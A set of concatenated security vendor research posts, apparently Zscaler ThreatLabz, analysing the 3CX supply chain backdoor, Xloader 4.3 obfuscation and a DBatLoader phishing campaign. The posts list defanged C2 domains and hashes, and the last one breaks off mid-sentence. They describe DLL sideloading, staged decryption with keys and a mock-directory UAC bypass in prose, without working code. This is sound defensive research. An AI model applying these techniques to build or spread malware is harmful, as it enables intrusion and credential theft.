Trojanized 3CXDesktopApp installers. Fig.1 - Infections dating back to February 2023 in Zscaler Cloud In this case the Threat Actors targeted various industry verticals such as: Technology Services Manufacturing and more Further let’s analyze the Infection Chain for the 3CX Supply Chain Attack: Infection Chain: Fig.2 - Infection Chain The Infection chain begins with the software update routine where the 3CXDesktopApp calls the “Update.exe --update <3cx_update_url>” from its bundle to fetch the updates. This then downloads the valid signed Malicious 3CX MSI installer and the Affected 3CX MAC Application as required in the form of an update package on the victim's machine as shown in the screenshot below. Fig.3 - Requests to 3CX domain to download the Affected 3CX MSI installer v18.12.416 & 3CX Mac App v18.12.416 as an Update Package In this blog, we will take a look at the affected valid signed 3CX MSI Installer version 18.12.416 named “3CXDesktopApp-18.12.416.msi” which is signed on March 13, 2023. Fig.4 - Signed 3CX MSI Installer Upon execution the 3CX MSI installer extracts multiple files in the “AppData\Local\Programs\3CXDesktopApp” and then executes the valid signed 3CXDesktopApp.exe as shown below in the screenshot. Fig.5 - Execution of 3CXDesktopApp Further the 3CXDesktopApp.exe side loads the Backdoored signed DLL named “ffmpeg.dll” as based on the DLL search order mechanism if the DLL is present in the applications directory the DLL is loaded from there as shown in the screenshot. Fig.6 - 3CXDesktopApp sideloads the Backdoored “ffmpeg.dll” Based on reports, the ffmpeg.dll was backdoored by the Threat Actors via manipulating the source code leading to the Supply Chain Attack. Once loaded into the virtual memory, the malicious “ffmpeg.dll” is commissioned to load the d3dcompiler_47.dll which contains the encrypted second stage payload. Initially the main function creates an event called "AVMonitorRefreshEvent" and checks if it already exists. If it does, it exits. Fig.7 - Main function of ffmpeg.dll After that it checks the current path in order to load the d3dcompiler_47.dll into memory and further loads the DLL into memory and checks if the DLL loaded correctly by comparing the starting byte of DLL. Fig.8 - Load d3dcompiler_47.dll and check for starting byte of DLL In this case the d3dcompiler_47.dll consisting of the RC4 encrypted shellcode and embedded DLL is valid signed by the Microsoft Digital certificate as shown in the screenshot below. Fig.9 - Microsoft signed d3dcompiler_47.dll Further in the infection chain, the ffmpeg.dll looks for the specific hex byte (FE ED FA CE) in the loaded d3dcompiler_47.dll which contains a second stage encrypted payload. Fig.10 - Look for specific hex byte (FE ED FA CE) in loaded d3dcompiler_47.dll After it locates the specific hex in loaded d3dcompiler_47.dll, it uses the RC4 decryption with the key “3jB(2bsG#@c7” to decrypt the second stage payload which is a shellcode with embedded DLL. The shellcode is responsible for calling the export function “DllGetClassObject” of the second stage DLL to execute and download further stage payload. Fig.11 - Decryption of second stage payload Fig.12 - Decrypted second stage payload The Stage-2 DLL further downloads the Icon file from the following Github repository as shown below. We observed in some cases that the second stage decrypted DLL would sleep for more than 7 days before communicating with the C2 server. Fig.13 - Second Stage payload downloads icon files from GitHub Repository The github repository consists of multiple icon files as shown below. These icons are been downloaded by the Stage-2 DLL. Fig.14 - Github Repository hosting multiple icon files. Further the Stage-2 DLL reads the icon file and parses the encrypted string present at the end of the downloaded icon file and passes it to the ico_decryption() function. Fig.15 - Parsing of the Encrypted string in the ICON File The encrypted string from the icon file is base64 decoded and then passed to a decryption routine as shown below in the screenshot.The decrypted string in this case is the C2 URL: https[:]//glcloudservice[.]com/v1/console Fig.16 - Decryption of C2 URL from the encrypted string parsed via the ICON File Further the malware performs HTTPS requests to the C2 URL as shown in the screenshot below from the Zscaler Cloud. Fig.17 - HTTPS Requests to the C2 URL seen in the Zscaler Cloud At the time of analysis the C2 Domains were down. The expected response would be in JSON format consisting of encrypted data which is then decrypted by the decryption routine before the final payload is executed on the infected machine. Based on the blog published by Sentinel One, the final payload delivered on the target machines in the supply chain attack was an Infostealer with capabilities such as collecting system information and browser information such as saved credentials from the Brave, Chrome, Edge, and Firefox Affected 3CX Versions: Following are the affected versions announced by 3CX: Affected 3CX Electron Windows App Versions: 18.12.416 18.12.407 Affected Electron Mac App versions: 18.11.1213 18.12.402 18.12.407 18.12.416 IoCs: File Name Md5 3CXDesktopApp-18.12.416.msi 0eeb1c0133eb4d571178b2d9d14ce3e9 3CXDesktopApp.exe 704db9184700481a56e5100fb56496ce ffmpeg.dll cb01ff4809638410a531400a66376fa3 d3dcompiler_47.dll 82187ad3f0c6c225e2fba0c867280cc9 C2 Domains: akamaicontainer[.]com akamaitechcloudservices[.]com azuredeploystore[.]com azureonlinecloud[.]com azureonlinestorage[.]com dunamistrd[.]com glcloudservice[.]com journalide[.]org msedgepackageinfo[.]com msstorageazure[.]com msstorageboxes[.]com officeaddons[.]com officestoragebox[.]com pbxcloudeservices[.]com pbxphonenetwork[.]com pbxsources[.]com qwepoi123098[.]com sbmsa[.]wiki sourceslabs[.]com visualstudiofactory[.]com zacharryblogs[.]com msedgeupdate[.]net Fri, 31 Mar 2023 16:57:51 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/3CX-supply-chain-attack-analysis-march-2023 https://www.zscaler.com/blogs/security-research/coverage-advisory-3cx-supply-chain-attack-march-2023 Update [2023-03-31 05:00 PM PST] We have published a blog detailing our analysis on the 3CX Supply Chain Attack. Background: On 30th March 2023, 3CX released a security alert for 3CX Electron Windows App shipped in Update 7, which informed users about a supply chain attack. The issue has affected the executables for both Windows and Mac operating systems. What is the issue? The impacted 3CX Electron Desktop App was bundled with an infected library file named ffmpeg.dll. This infected library further downloads another encrypted file d3dcompiler_47.dll. This file has functionality to access .ico files hosted on GitHub which contain CnC information. These CnC domains are used to deliver the final payload which allows the attacker to perform malicious activity in the victim’s environment. The diagram below shows the attack chain. During our investigations we found the attacks to be active since February, we will release a more detailed analysis report soon. What systems are impacted? This impacts Windows and Mac versions of 3CX Electron Windows App. 3CX Electron Windows App version 18.12.407 3CX Electron Windows App version 18.12.416 3CX Electron Mac App version 18.11.1213 3CX Electron Mac App version 18.12.402 3CX Electron Mac App version 18.12.407 3CX Electron Mac App version 18.12.416 What can you do to protect yourself? If you find systems on your network running these compromised versions of 3CX Electron Desktop app then please uninstall the software. Find the infected systems by checking the client details from your SIEM logs for systems trying to connect to the IoCs mentioned in the IoC section of this advisory. While the reputation based blocks will block communication to the CnC domains, the CnC communication uses HTTPS protocol, please enable SSL inspection for the content downloaded from such malicious domains to be scanned. Zscaler coverage Advanced Cloud Sandbox Win32.Trojan.3CX Advanced Threat Protection Win32.Trojan.3CX HTML.MalURL.Gen.XO IoCs CnC domains: raw[.]githubusercontent[.]com/IconStorages/images/main/ visualstudiofactory[.]com sourceslabs[.]com sbmsa[.]wiki qwepoi123098[.]com journalide[.]org dunamistrd[.]com azureonlinestorage[.]com azureonlinecloud[.]com akamaicontainer[.]com zacharryblogs[.]com Soyoungjun[.]com pbxsources[.]com pbxphonenetwork[.]com pbxcloudeservices[.]com officestoragebox[.]com officeaddons[.]com msstorageboxes[.]com msstorageazure[.]com msedgepackageinfo[.]com glcloudservice[.]com azuredeploystore[.]com akamaitechcloudservices[.]com Malicious hash d5101c3b86d973a848ab7ed79cd11e5a ca5a66380563ca4c545f1676c23bd95d 6426fe4dc604c7f1784ed1d48ab4ffc8 82187ad3f0c6c225e2fba0c867280cc9 74bc2d0b6680faa1a5a76b27e5479cbc f3d4144860ca10ba60f7ef4d176cc736 bb915073385dd16a846dfa318afa3c19 9833a4779b69b38e3e51f04e395674c6 0eeb1c0133eb4d571178b2d9d14ce3e9 Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Thu, 30 Mar 2023 17:49:29 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/coverage-advisory-3cx-supply-chain-attack-march-2023 https://www.zscaler.com/blogs/security-research/technical-analysis-xloaders-code-obfuscation-version-43 Key Points Xloader is a popular information stealing malware family that is the successor to Formbook. In early 2020, Formbook was rebranded as Xloader and the threat actors moved to a malware-as-a-service (MaaS) business model, renting C2 infrastructure to customers. Xloader implements different obfuscation methods and several encryption layers to protect critical parts of code and data from analysis. The developers behind this malware family continue to update the code with improved obfuscation and encryption layers with each new version that is released. In January 2023, Zscaler ThreatLabz identified a new variant of Xloader that identifies itself as version 4.3 with several modifications including additional obfuscation. Introduction Xloader is a rebranded version of the Formbook information stealing malware, which has been sold in criminal forums since 2016. The threat actors behind this malware family have been updating and improving the code regularly. In early 2020, the malware was rebranded as Xloader. In early 2022, the threat actors released Xloader version 2.9, which introduced significant improvements to obfuscate the malware code and data including the list of command-and-control (C2) servers. In October 2022, ThreatLabz identified a new Xloader version labeled as 3.9. In January 2023, the threat actors released Xloader version 4.3. Across Xloader versions, the group has modified the malware’s obfuscation techniques including adding numerous layers of encryption with code that recursively decrypts other blocks of code until reaching the core functionality that decrypts the most sensitive data (also encrypted with multiple layers). This blog post analyzes the encryption algorithms used by Xloader to decrypt the most critical parts of the code and the most important parameters of the malware’s configuration. The analysis is performed on the latest version of Xloader 4.3. ThreatLabz has also created an IDA Python script to decrypt Xloader’s code and data to facilitate analysis. Technical Analysis Basic Algorithms and Structures Formbook and Xloader have evolved along the years with new layers of obfuscation added in each new version. However, there is a set of basic algorithms that have been used since the first versions of Formbook. These algorithms are combined in different ways to decrypt other blocks of code and data. The primary algorithms that are shared between different versions of Xloader are the following: Custom RC4: an RC4-based algorithm with two additional layers based on subtraction operations. Custom buffer decryption algorithm: a custom algorithm used by Xloader, mainly used to decrypt the first encryption layer of the PUSHEBP data blocks (described in the following sections). Custom SHA1: a SHA1 hash is calculated and the result is reversed DWORD by DWORD. There is also a large global data structure that is used to store important information. When Xloader is executed, this structure is allocated and initialized with information from PUSHEBP data blocks, or from hardcoded values in the code. This structure contains data and encryption keys that are used by other parts of the code. Previous blog posts have referred to this structure as the ConfigObj, with fields that are used to store flags, encryption parameters, pointers, etc. The most important offsets in the ConfigObj structure are identified in Table 1. Offset Description Size 0x00 Value 0xffffffff 0x04 0x04 Pointer to a second PE header used for process injection (e.g., explorer.exe) 0x04 0x08 Result of RtlGetProcessHeaps() 0x04 0x48 Branch ID – XLNG (XORed with 0x3c) 0x04 0x90 Pointer to an extended config (located in memory following the ConfigObj structure) 0x04 0x2DC Decrypted content of the PUSHEBP block 2, which is an array of API hashes 0x220 0x510 Array of library and process names hashes 0x254 0x828 Seed of a random number generator (RNG) used by the malware 0x4 0x83C Flag indicating that Xloader has generated the parameters necessary for the communications with the C2 0x4 0x970 The Xloader version number (XORed with 0x3c) 0x4 0x990 RC4 key used to decrypt other parameters 0x14 0x9A4 RC4 key used to decrypt other parameters (this key is the SHA1 of the decrypted content of the PUSHEBP block 5) 0x14 0xCE8 RC4 key used to decrypt the C2s list 0x14 Table 1. Important Xloader 4.3 ConfigObj fields. Encrypted PUSHEBP Data Blocks Throughout the Xloader code there is a set of encrypted data blocks with the structure shown in Figure 1. Figure 1. Xloader PUSHEBP encrypted block This structure is designed to resemble the beginning of a function, but are in fact blocks of encrypted data such as encryption keys and encrypted strings. These data blocks are decrypted using a custom buffer decryption algorithm. Table 2 shows the PUSHEBP encrypted blocks that were found in Xloader 4.3. PUSHEBP Block Number Description Size PUSHEBP Block 1 Encrypted strings 0xA82 PUSHEBP Block 2 API CRCs 0x222 PUSHEBP Block 3 Encryption key involved in C2 communications 0x15 PUSHEBP Block 4 Encryption key used to decrypt other data 0x14 PUSHEBP Block 5 Hardcoded C2 0x78 PUSHEBP Block 6 API CRCs 0x310 Table 2. PUSHEBP encrypted block contents Encrypted PUSHEBP Functions Formbook and Xloader also contain functions that decrypt code. An example function to decrypt code (prior to Xloader 2.9) is shown in Figure 2. Figure 2. Encrypted code in earlier versions of Xloader and Formbook This code starts with the well-known function preamble push ebp / mov ebp, esp, followed by a tag identifying the encrypted code (0x49909090 in Figure 2), the encrypted code, and an ending tag 0x90909090. In older versions, the code was decrypted using a custom RC4 algorithm with a key stored in the ConfigObj structure. In Xloader version 2.9, the code retained the custom RC4 algorithm and added a layer of encryption with a second key built on the stack, as shown in Figure 3. Figure 3. Decryptor of the PUSHEBP functions in Xloader version 2.9 In Xloader version 4.3, there are still PUSHEBP encrypted functions. However, the tags identifying the start and the end of the encrypted code have changed, and now they appear to be random bytes. Figure 4 shows an example of an encrypted function in Xloader 4.3. Figure 4. Encrypted PUSHEBP function (Xloader version 4.3) Figure 5 shows the code that decrypts a PUSHEBP function (e.g., the function DecryptCriticalCodeType1_Set_909090909090), which accepts two encrypted tags and an ID value. Inside the decryptor, another 0x14 byte key is constructed dynamically in the sub-function init_key_encrypted_funcs, XORed with a DWORD (XOR key 1) and XORed again with the ID value passed as an argument and another hardcoded DWORD (XOR key 2). The resulting 0x14 byte key will be used to decrypt the encrypted code using Xloader’s custom RC4 algorithm. The same RC4 key is also used to decrypt the encrypted TAG1 and TAG2, which are passed as arguments to the decryptor to derive the starting and ending tags that delimit the encrypted PUSHEBP function. Figure 5. PUSHEBP function decryption code (Xloader version 4.3) After the code is decrypted, the delimiter tags are replaced by 90 90 90 90 90 90 (NOP) opcodes. Figure 6 shows an encrypted function before and after being decrypted. Figure 6. Example PUSHEBP function decrypted (Xloader version 4.3) Encrypted NO-PUSHEBP Functions In Xloader version 4.3, a new type of encrypted function without the push ebp / mov ebp esp preamble has also been introduced. The limits of the encrypted code are located by searching for two tags that identify the start and the end of the block. Figure 7 shows the code responsible for determining the limits of a NO-PUSHEBP encrypted function. Figure 7. NO-PUSHEBP decryption code limit identification and layer 1 decryption (Xloader version 4.3) The custom Xloader RC4 algorithm is again used to decrypt the encrypted code with two layers and two different keys. The encryption key for the first layer is calculated in another function and stored in the global structure ConfigObj (the value is the result of Xloader’s custom SHA1 algorithm of the decrypted content of the PUSHEBP data block number 5). The encryption key for the second layer is built on the fly: an initial key is built on the stack and XORed with a DWORD (XOR key), producing the final key (Xloader never hardcodes exact values including for encryption keys and delimiter tags). Figure 8 shows the code involved in the decryption of the second layer for one of the encrypted NO-PUSHEBP functions. Figure 8. NO-PUSHEBP layer 2 decryption (Xloader version 4.3) After the code is decrypted, the tag before the encrypted code is replaced by the opcodes EC 8B 55 (push ebp / mov ebp esp function preamble). The tag after the encrypted code is replaced by 90 90 90 90 (NOP) opcodes. Encrypted Configuration The most important parameters of Xloader’s configuration are stored in the PUSHEBP encrypted data blocks or calculated from hardcoded constants (that are also obfuscated). Encrypted Strings The encrypted strings in Xloader are stored in the PUSHEBP data block 1. All the PUSHEBP data blocks have to be decrypted with the custom buffer decryption algorithm as explained before. Once the block is decrypted, the result is a sequential list of items that have the following format: struct encrypted_string { BYTE length; BYTE content[length]; } Each string is decrypted with the custom Xloader RC4 algorithm and an encryption key stored at offset 0x990 in the ConfigObj. This RC4 key is generated in the function shown in Figure 9. Figure 9. Generation of the RC4 key for encrypted strings (Xloader version 4.3) ThreatLabz has reproduced this algorithm to decrypt the encrypted strings in Xloader 4.3 in Python. The code is available in our GitHub repository here. Encrypted C2s The Xloader configuration contains a C2 that is stored separately from another list of C2 domains. The C2 that is stored separately was thought to be Xloader’s real C2 and the other C2s were used as decoys. However, in more recent versions of Xloader, real C2s are likely hidden among the list of decoy C2s. In fact, the author behind Xloader has made significant efforts to protect the list of C2s that were previously thought to be decoys. Hardcoded C2 The code shown in Figure 10 is responsible for decrypting the hardcoded Xloader C2. Figure 10. Hardcoded C2 decryption (Xloader version 4.3) The code in Figure 10 combines a set of operations based on Xloader’s various encryption algorithms and the data stored in the PUSHEBP data blocks to generate the encryption key necessary to decrypt the hardcoded C2 (which is stored in the PUSHEBP data block 5). C2 List As previously mentioned, there is another list of C2s that may contain decoy C2s and real C2s. In Formbook and in earlier versions of Xloader, these were stored as an encrypted string with no additional layers of encryption. In Xloader 2.9, the developers introduced an additional custom RC4 layer and Base64 encoding for the C2 list as shown in Figure 11. Figure 11. Additional encryption layer for the C2 list (Xloader version 2.9) In Figure 11, the function StringsDecryptor2 decrypts the first layer of the encrypted strings. In version 2.9, an additional Base64 layer is decoded followed by a layer of custom RC4 decryption. In Xloader version 4.3, they have added an additional encryption layer to this C2 list. Figure 12 shows the code responsible for decrypting these new layers. Figure 12. New encryption layer for Xloader’s C2 list (Xloader version 4.3) In the new version, the C2 list is first Base64 decoded and a custom RC4 layer is decrypted. A table of 4 byte keys is built on the stack. Each position of the table corresponds to a C2. Once decrypted, this custom RC4 layer is Base64 encoded again. After the new additional decryption layer is complete, Xloader decrypts the same layers as version 2.9: decoding the Base64 layer again and decrypting an additional custom RC4 layer with a key stored in a sub-structure of the ConfigObj. The way that this key (for the last RC4 layer) is generated has also changed in Xloader 4.3. Figure 13 shows the code generating the RC4 key for the last encryption layer of the C2 list. Figure 13. Key generation for the final encryption layer of the C2 list (Xloader version 4.3) As shown in Figure 13, the key is built on the stack and it is XORed with a value from the ConfigObj that was initialized previously in a different part of the code. Once this last layer is decrypted, the plaintext C2s are obtained. Branch ID and Version Number In previous versions, the Xloader branch ID and version number were sent in the registration packet to the C2. The format of the registration packet (before the last two RC4 layers) was the following: XLNG Bot ID Version Number Operating System Base64(Username) XLNG is the tag for the Xloader branch (FBNG was the branch ID for Formbook). In Xloader version 4.3, the registration packet sent to the C2 includes an additional encryption layer as shown in Figure 14. Figure 14. Xloader 4.3 Registration packet with additional PKT2 layer This new encryption layer is marked with the tag PKT2. Communications are performed in the context of explorer.exe (previously injected). However, this registration packet is built in the first injected process (a hollow process) and copied to the context of explorer together with the rest of the injected code. That first injected process exits after injecting into explorer, so the registration packet under the last encryption layer marked with the PKT2 tag is no longer in plaintext after the first injected process terminates. The PKT2 packet is built in one of the NO-PUSHEBP encrypted functions. That function is decrypted and executed in the context of the first injected process. The code first builds a string with the same format as the registration packet in previous Xloader versions as shown in Figure 15. Figure 15. Registration packet with the new PKT2 encryption layer However, as we can see in Figure 15, Xloader 4.3 introduces a NULL character separating the bot ID and the malware version number. This added NULL byte is likely a coding error. Figure 16 shows how the first registration packet is constructed (marked with XLNG tag) and encrypted with RC4 and encoded with Base64, and then concatenated to the PKT2 tag to generate the final registration packet. Figure 16. Xloader version 4.3 registration packet construction However, because of the coding error previously mentioned (an extra NULL character after the bot ID) the final registration data contains just two fields for the XLNG branch and bot ID as shown below: XLNG Bot ID The PKT2 tag is then prepended with the RC4 and Base64 encoded data as follows: PKT2 RC4_BASE64(registration_data) As a result, the version_number, operating_system and user_name is never sent to the C2. This bug will likely be fixed in future versions of the malware. Figure 16 also shows that the branch ID and version number are no longer hardcoded unlike previous versions, with the encrypted version number and branch ID decrypted with an XOR key (0x3c). Tools Zscaler ThreatLabz has developed an IDA script to decrypt the Xloader’s encrypted code. The code is available in our GitHub tools repository here. Conclusion Since its inception, the Formbook and Xloader malware families has been a prominent threat. The threat actors behind it continue to update and improve the malware code in an effort to hinder analysis. In the most recent version, the threat actors increased the level of complexity yet again with additional layers of encryption for critical parts of the code and important data. However, Zscaler researchers have been able to unravel these obfuscation layers and analyze the key components of the malware code. Cloud of Sandbox Detection Zscaler's multilayered cloud security platform detects Xloader and Formbook indicators at various levels, as shown below: Win32.PWS.XLoader Win32.PWS.Formbook Indicators of Compromise Variant Version SHA256 Botnet XLoader 4.3 9e1b4f2d408e187ca641c0c16269069d0acabe5ae15514418726fbc720b33731 6qne XLoader 4.3 f55ce0741ed4615bae5646c644b3a971323ac344b12693495d5749c688d5d489 6qne XLoader 4.3 3bd86f3906f59f627bf65664d2bfacf37a29dbaafeae601baf5eeb544396f26c 6qne XLoader 3.9 8e12b85676aaf45a93c91e2db2065151e19f184907da6d85701ac3b13d0e6052 nvp4 XLoader 3.9 6a726fb5c93adbae0f3061b40b19745587c0114deb86bd72c90acdd69242cbe0 nvp4 Network Indicators Type Domain Harcoded C2 domain jourmoe[.]com C2 list domain 060jinbo[.]com C2 list domain 10086253[.]vip C2 list domain 117ygh9x[.]com C2 list domain 365-8119[.]com C2 list domain 365heji[.]com C2 list domain 4tx[.]ru C2 list domain 667fm[.]com C2 list domain 991-touring[.]info C2 list domain abttt[.]win C2 list domain adacaranya[.]com C2 list domain allforfun[.]online C2 list domain allison2patrick[.]online C2 list domain applicationsdown[.]store C2 list domain apsocreto[.]online C2 list domain avdeeva[.]info C2 list domain betfury-platform[.]net C2 list domain bilpoinsaat[.]net C2 list domain bocc[.]live C2 list domain bookinbournemouth[.]co[.]uk C2 list domain botanica-online[.]ru C2 list domain byfuture[.]biz C2 list domain canlicerrahi[.]xyz C2 list domain ceu84g[.]com C2 list domain chiyiqian[.]net C2 list domain christmatoy[.]com C2 list domain cinemamaxz[.]com C2 list domain coffeelectro[.]online C2 list domain dedmorozvidos[.]store C2 list domain difozaa[.]life C2 list domain dugebitv4[.]xyz C2 list domain eatgre[.]wiki C2 list domain expertponto[.]com C2 list domain farmanow[.]xyz C2 list domain flippingfrenzy[.]com C2 list domain g2fm[.]co[.]uk C2 list domain ginaandhipa[.]com C2 list domain graciesvoice[.]info C2 list domain guzmanmodels[.]com C2 list domain habka[.]online C2 list domain hal-skincare[.]com C2 list domain hiufouwnwk[.]shop C2 list domain hjiqa[.]com C2 list domain huifeng-tech[.]com C2 list domain identowel[.]com C2 list domain inigrey[.]com C2 list domain ituyiut[.]wang C2 list domain jimtrosper[.]com C2 list domain kajainterior[.]com C2 list domain loaddown[.]vip C2 list domain mgconsultantlogistics[.]com C2 list domain myif471ok9ipidk2kkl[.]xyz C2 list domain najdlegend1[.]com C2 list domain nnhuigou[.]com C2 list domain ogei[.]app C2 list domain poweroffer[.]net C2 list domain realtxt[.]co[.]uk C2 list domain seeword[.]site C2 list domain solutionsquik[.]net C2 list domain themas5erofssuepnse[.]cyou C2 list domain uevj[.]win C2 list domain vowlashes[.]co[.]uk C2 list domain wanknumbers[.]co[.]uk C2 list domain wsavxrg[.]shop C2 list domain zzaen[.]com References https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://www.netscout.com/blog/asert/formidable-formbook-form-grabber https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I?utm_source=blog&utm_campaign=deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii?utm_source=blog&utm_campaign=deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-in-phishing-campaign-part-iii https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/ https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/ https://research.checkpoint.com/2021/stealth-is-never-enough-or-revealing-formbook-successors-cc-infrastructure/ https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/ Thu, 30 Mar 2023 08:30:01 -0700 Javier Vicente https://www.zscaler.com/blogs/security-research/technical-analysis-xloaders-code-obfuscation-version-43 https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses This Zscaler ThreatLabz research article investigates the latest malware campaign of DBatLoader, which is being used by threat actors to target various businesses in European countries with Remcos RAT and Formbook. The article provides a detailed analysis of DBatLoader's behavior and its attack process, which includes creating a mock trusted directory, using an executable to load the malicious DLL script, and executing powershell commands in BAT script to exclude Microsoft Defender scanning. The article also highlights the use of different file formats and obfuscation methods to avoid detection from antivirus engines. ThreatLabz in-depth analysis of DBatLoader includes the identification of key indicators of compromise and mapped MITRE ATT&CK techniques used by the attackers. The researchers conclude by recommending that users and organizations stay vigilant against such malspam phishing campaigns and use advanced security solutions to defend against malware. Introduction: The ThreatLabz research team at Zscaler remains vigilant in monitoring active threat campaigns. Recently, the team identified a new campaign involving DBatLoader also known as ModiLoader that specifically targets manufacturing companies and various businesses in European countries via phishing emails. The malware payload is distributed through WordPress websites that have authorized SSL certificates, which is a common tactic used by threat actors to evade detection engines. Throughout this campaign, researchers observed multiple techniques employed by the threat actor in the phishing emails to distribute Remcos RAT and Formbook via DBatLoader / ModiLoader. Key Takeaways: Zscaler's ThreatLabz Research team identified a new DBatLoader campaign distributing Remcos RAT and Formbook malware. The campaign targets manufacturing companies and multiple businesses in European countries through phishing emails. The malicious payload is distributed through WordPress sites with authorized SSL certificates. Multiple techniques are used in phishing emails to deceive users into downloading the payload, including using courier-themed schemes and disguising PDF attachments as Revised Order Documents, Payment Invoices, Quotations, Sales Orders, and similar items. The attackers use multilayer obfuscation techniques and various file formats, such as PDF, HTML, ZIP, and OneNote, to deliver the payload. The malwares analyzed during this investigation uses mock trusted directories to bypass Windows User Account Control (UAC) and elevate to higher privileges without displaying a UAC prompt. DBatLoader creates a copy of itself and a file with .url extension for persistence and creates an autorun registry key to survive reboots. Fig.1 - Campaign targeting manufacturing companies - source: Zscaler Cloud RemcosRAT Campaign Overview: This diagram illustrates how the Remcos RAT was distributed and executed on the victim's machine during the campaign: Fig.2 - Attack chain and execution flow of RemcosRAT The attack begins with a phishing email titled "Purchase Order SZ5-9-020" that appears to come from a manufacturing company based on a quick examination of the domain and footer. The email is crafted to deceive users into opening the attachments without suspicion. The attached PDF file contains a malicious link labeled "View Secured Document." Clicking on this link downloads a CAB file, which stores installation data and ultimately downloads and executes DBatLoader and Remcos RAT. Fig.3 - Phishing email with attached malicious PDF The CAB file that is downloaded includes an LNK file with a PDF extension designed to trick users into opening it. Once the payload is extracted, a PowerShell script is executed to download and run DBatLoader. Fig.4 - Downloaded CAB file and execution of LNK file Several similar attacks have been observed from the beginning of this year, all originating from the same WordPress site, using DBatLoader/ModiLoader to download Remcos RAT. The threat actor(s) behind these attacks employs the same attack chain, but pretends to be a different manufacturing company each time to evade detection and deceive victims. Fig.5 - Similar attack chain with different phishing email During the investigation of active campaigns, various shortcut files with names like "Quotation.pdf.lnk" and "Revised_Order_Document.pdf.lnk" were discovered. These shortcuts were responsible for downloading DBatLoader/ModiLoader with Remcos RAT from the same WordPress site. Formbook Stealer Campaign Overview: During investigation, a courier-themed phishing email was discovered, which delivered Formbook via DBatLoader/ModiLoader. The payload was downloaded from a WordPress site with an .eu (European Union) top-level domain and authorized SSL certificate. Multiple malicious PDFs with embedded links were also found, which used a similar trick to the Remcos RAT campaign to download DBatLoader/Formbook from the WordPress site. Fig.6 - Formbook campaign attack chain Other Observed Techniques in DBatLoader Campaign: Several other phishing emails were discovered during the course of investigating this campaign, using malicious files in various formats such as HTML and OneNote as attachments. These are described below. In an HTML-based campaign, the threat actor employs a multi-layered obfuscated HTML file as an attachment to deploy the DBatLoader payload on the targeted system. Fig.7 - HTML-based attachment campaign Flow of HTML file to drop ISO file which contains DBatLoader payload: HTML -> Base64 Javascript -> Base64 ISO -> Drop ISO File -> DBatLoader payload The flow of the HTML file involves dropping an ISO file that contains the DBatLoader payload. The HTML file is first processed through Base64 Javascript, which then leads to the Base64-encoded ISO file. Finally, the ISO file is dropped to execute the DBatLoader payload. Fig.8 - HTML obfuscation to drop ISO file In a OneNote attachment campaign, threat actors utilized OneNote attachments to drop the DBatLoader in a campaign targeting various businesses. The latest technique involved hiding the embedded malicious payload behind a fake button, deceiving users into running the malware. Since November 2022, an increase in the use of OneNote files as initial vectors for malware distribution has been observed. To learn more, check out the Zscaler ThreatLabz research blog on OneNote released earlier this month for more detailed information on related campaigns and obfuscation techniques. Two phishing attacks with the same malspam sender name were discovered in this campaign, and the attached OneNote files contained the embedded DBatLoader payload. Fig.9 - OneNote attachment campaign Technical Analysis of DBatLoader/ModiLoader: DBatLoader/ModiLoader/NatsoLoader is a Delphi compiled binary that drops final payloads like Formbook, Remcos RAT, Netwire RAT, and Warzone RAT. It uses multi-layer obfuscation and image steganography techniques to hide the initial stage from detection engines and download obfuscated later stage payloads from public cloud services like OneDrive and Google Drive. The Loader doesn't use any Anti-Debug/Anti-VM/Anti-Sandbox techniques. Stage 1: In the first stage, four steps are followed: Extraction, Decoding, Allocation, and Execution. Step 1 - Extraction: In this stage Form has been created via the ‘TFormSplash_FormCreate’ in this there is a function named ‘Oncreate()’ which contains the actual Code for the Loader. Fig.10 -Function Oncreate() contains the Loadercode DBatLoader's resource section contains a GIF image as the second stage encrypted payload. Fig.11 - Encrypted GIF payload in resource section The following function in DBatLoader is responsible for reading encoded data from the 'uski' resource name within the file and subsequently loading it into memory. Step 2 - Decoding: Fig.13 - Decoding function The following is an explanation of the function's logic: The encrypted byte from the resource section is added to the number 79. If the resulting value exceeds 255, an Overflow occurs, and the excess amount is ignored and stored in a variable. Otherwise, the result is stored in the same variable. The resulting value is then converted from hexadecimal to string, and individual bytes are retrieved to decode the second stage DLL payload. Example python script used to decode the payload: Fig.14 - Python script to decode payload Step 3 - Allocation: Once the payload has been decoded, the F_Execution_main function is responsible for allocating the decoded payload into memory. Fig.15 -Function for memory allocation The decrypted payload will be allocated in the memory of the DBatLoader's own process through the use of the 'VirtualAlloc' API. This decrypted payload constitutes the second stage DLL, which carries out additional malicious activities of the DBatLoader. It is worth noting that the second stage payload can take the form of either a DLL or an executable (EXE) file. Fig.16 - VirtualAlloc API used for memory allocation Step 4 - Execution: The main function calls another function, passing the decoded value of the second stage as an argument, in order to execute the final payload. Fig.17 - Function for execution Stage 2: Once the first-stage DBatLoader loads the decoded second-stage payload into memory, the second-stage payload drops four files on the infected system's disk path 'C:\Users\Public\Libraries'. The dropped files include two batch files named 'XdfiifagO.bat' and 'KDECO.bat', one DLL file named 'netutils.dll', and one executable file named 'easinvoker.exe'. Fig.18 - Initial Bat script The first 'XdfiifagO.bat' batch file then leverages a well-known technique of bypassing Windows User Account Control (UAC) called the 'Mock Trusted Directories Method' to escalate privileges without displaying a UAC prompt. This method involves creating a fake directory with extra whitespace and the same name to a legitimate trusted location, such as "C:\Windows \System32", and copying the required files to it. Since the mock directory cannot be created through the Windows Explorer User Interface, the attacker uses a script to create it. Once the directory is created, the batch file copies the legitimate ‘easinvoker.exe’ executable, the malicious 